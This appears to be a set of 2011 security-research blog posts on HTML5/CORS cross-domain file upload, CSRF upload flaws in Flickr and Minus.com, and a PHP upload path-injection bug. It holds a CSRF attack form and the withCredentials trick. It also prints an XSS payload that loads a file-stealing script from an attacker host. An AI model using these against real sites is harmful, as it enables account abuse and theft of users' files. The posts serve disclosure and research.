Minus.com silent arbitrary file upload

Summary

Minus ( http://min.us - now moved to http://minus.com ) is a simple sharing platform that allows users to share, publish and discover photos, docs, music, videos and more. This relatively new site has gained media attention and was recently featured in Techcrunch.com, Sitepoint, Lifehacker, Wall Street Journal etc. Minus recently raised $1M from IDG Capital Partners.
A few months ago I've found a way to silently upload and publish a file of attacker's choosing on behalf of a logged in Minus user, similar to what I found on Flickr. Today I present the vulnerability details with demonstration of an attack. The demo was first publicly disclosed at SecurityByte 2011.

The exploit is another example of HTML5 arbitrary file upload vulnerability, this time though it requires user interaction as the exploit uses UI redressing content extraction. The exploit is Firefox only.

File path injection in PHP ≤ 5.3.6 file upload (CVE 2011-2202)

Since the thing went public before new PHP version has been released, I present full details of the latest PHP vulnerability I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent file upload research. And I still have some more to show in the future :)


My thanks go to Paweł Goleń who helped analyze the vulnerability.

The PHP Part

The whole issue is tracked as PHP bug #54939, but the website is now down. The exemplary exploit is at pastebin. The nature of the bug is simple. PHP claims to remove the path component from HTTP file upload forms (transferred as MIME multipart/form-data requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: c:\WINDOWS\WHATEVER\My_file.txt).

However, in 2008 PHP developers made a off-by-one error, and, as a result, if a name starts with \ or / and has no other (back)slashes, it's left as-is. So, this allows for:

• /vmlinuz
• /autorun.inf (/ will map to C:\ in WINDOWS - the drive where your PHP is run from)
• /boot.ini

and other interesting file "names" to pass through.

Invisible arbitrary CSRF file upload in Flickr.com

Summary

Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by Flickr.com team.

The exploit is an example of using my HTML5 arbitrary file upload method.

Demo

Vulnerability description

Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).

Basic File Upload Form

This request looks like this:

POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--

On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.

Attack

Malicious page with this HTML code:

<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>

was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.

Fix

As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.

Timeline

17.05.2011 - vulnerability discovered

18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released

Cross domain arbitrary file upload Redux

Remember how it was possible to upload files with arbitrary names & contents cross domain?  The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)

I can haz cookies!

I still don't know how did I miss this, but it's just a one-line change:

xhr.withCredentials = "true"; 

That's it. With this flag set:

• CORS simple requests will include cookies / HTTP auth
• CORS preflighted requests will ask for permission to include them

Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:

"Take those cookies to your grandma", said The Browser

1. Victim logs in to victim.whatever.com website
2. He receives a session cookie for future requests
3. In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
4. Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)
   
   "Browser, I really need you to send this tiny little harmless POST to victim"
   
   
5. Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.
   
   "Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"
   
   
6. victim app receives the POST file upload with the cookie, so it processes the upload and responds.
   
   "What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"
   
   
7. Browser looks at the response and, not having appropriate CORS response headers, discards the response.
   
   "Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"

Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated the examples with the new code.

How to upload arbitrary file contents cross-domain

Update: Since publishing details of this technique it has been used to exploit CRSFable file upload forms on Facebook , Flickr, Imgur, minus.com, Tumblr.com and others. It seems that many file upload forms lack anti CSRF tokens. 

HTML5, together with its sister specifications (XMLHTTPRequest level 2, File API etc.) has a really interesting property when it comes to security. Websites that are coded securely get new tools allowing them to be even more secure. Yet poorly coded websites might be prone to new flavours of attack. It makes good even better, and bad even worse.

The best example of this would be the Cross Origin Resource Sharing (CORS) specification commonly known as Cross Domain AJAX. Back in the days, AJAX request could not be sent cross domain - now, in all current browsers, they can. Does it affect security? Sure it does - even Facebook got hacked with it. While the specification was designed with security in mind, fully opt-in, introducing new headers and preflight mode, there are sites in the Internet that suddenly got vulnerable once surfers upgraded their browsers.

Continuing the fun with file upload issues in current browers, today I'd like to show you how to upload a file:

1. from victim's browser
2. with arbitrary filename
3. with arbitrary content
4. without user interaction
5. .. to another domain.

Filejacking: How to make a file server from your browser (with HTML5 of course)

Back in the days of browser wars, there was a joke: Internet Explorer is the only web browser that makes Internet browse your computer. Through various security flaws, IE was exploitable and allowed for remote code execution that could e.g. steal your sensitive files.
But now the times are different. It's not that easy to exploit current browsers, they get patched (relatively) quickly. Attackers cannot easily access your files using browsers vulnerabilities, so they turn to the weakest link - users. In this post we'll try to explore what current browsers can do with your files.

XSS-Track now steals your uploaded files with HTML5 power!

HTML5, broadly speaking (actually it's XMLHttpRequest Level 2, not being part of HTML5 spec, but who cares?) has yet another neat feature: it allows you to send files through AJAX requests. Of course, cross domain communication is also possible. Which is generally a good thing... unless you have an XSS on your site that can now capture files you intend to upload and send them also to a third-party server.

Which is exactly what I have done in newest XSS-Track. Now you can append files=1 parameter to script URL (e.g. http://evil.example.com/track.js?files=1 ) and it will monitor the site for any <input type="file" /> elements. When you change() them (e.g. by choosing a file from your hard-drive), it will quietly start uploading the chosen file meta-data (name, size, MIME type) and file contents to log.php.

As the user will be doing twice as much uploads (one for legitimate site, one for us), XSS-Track does not wait for the form to be actually submitted, but it starts quietly uploading as soon as the field changes.

Support

This works also for <input type="file" multiple />. Currently supporting browsers that I'm aware of are:

• Chrome,
  
• FF 3.6 (meta-data only)
  
• FF 4.0
  
• ... and many more in the future as HTML5 is coming :)
  

Of course, if a browser doesn't support AJAX file upload, it will stay quiet. The log.php script will store the files in captured_files subdirectory.

Demo

Go on, try it now!

Vulnerable application:
http://victim.kotowicz.net/xss-track/vuln/?page=search

Payload (paste into textarea):

</textarea><script src="//attacker.kotowicz.net/xss-track/track.js?files=1">
</script>

Monitoring (you will only see your own IP actions):
http://attacker.kotowicz.net/xss-track/show.php

Clearing logs:

http://attacker.kotowicz.net/xss-track/show.php?clear=1

Source code:
https://github.com/koto/blog-kotowicz-net-examples/tree/master/track-xss/